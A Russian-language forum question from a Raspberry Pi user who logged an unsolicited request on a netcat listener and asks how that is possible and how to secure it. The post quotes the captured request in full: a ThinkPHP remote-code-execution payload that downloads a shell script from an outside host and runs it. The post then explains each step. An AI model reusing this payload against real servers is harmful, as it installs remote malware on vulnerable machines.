Удаленное соединение с неизвестного ip получено через netcat - PullRequest
0 голосов
/ 22 января 2019

Фон

Я играл с netcat и пытался соединить с ним два моих малиновых писа. Я подключил pi1 через tcp к pi2, где у меня запущен экземпляр netcat. Я запустил netcat с помощью следующей команды:

nc -nvlp 12345

Варианты:

  • n: нет DNS-запросов
  • v: многословный
  • l: прослушивать входящие соединения
  • p: прослушивать предоставленный порт (12345)

Задача

При запуске команды неизвестный IP-адрес подключился к моему pi2 и попытался сделать что-то странное. Это вывод, который я получил:

pi2@raspberrypi:~ $ nc -nvlp 12345
Listening on [0.0.0.0] (family 0, port 12345)
Connection from 167.99.214.206 46768 received!
GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://167.99.219.142/ex.sh;chmod%20777%20ex.sh;sh%20ex.sh HTTP/1.1
Host: 127.0.0.1
User-Agent: Sefa
Accept: */*
Accept-Language: en-US,en;q=0.8
Connection: Keep-Alive

Мои выводы

Интересная часть - строка GET. Насколько я понимаю, он пытался сделать следующее:

cd /tmp; # Go to temp
wget http://167.99.219.142/ex.sh # Download a file from the connected IP
chmod 777 ex.sh; # Make downloaded file executable
sh ex.sh # Execute downloaded file

Однако, когда я заглянул в папку / tmp, я не смог найти ни одного файла, но вполне возможно, что он удалил себя после выполнения.

Я посмотрел IP-адрес здесь , но злоумышленник, вероятно, использовал VPN и может быть откуда угодно.

Вопрос

Действительно ли так просто выполнить код на любом открытом сокете netcat и как я могу сделать его более безопасным в будущем? Я знаю, что передаваемые данные не зашифрованы, но мне было все равно, но если кто-нибудь сможет выполнить код на моем оборудовании, я воздержусь от его использования в будущем.

Я благодарен за любую информацию, которую вы можете дать мне по этой теме.

...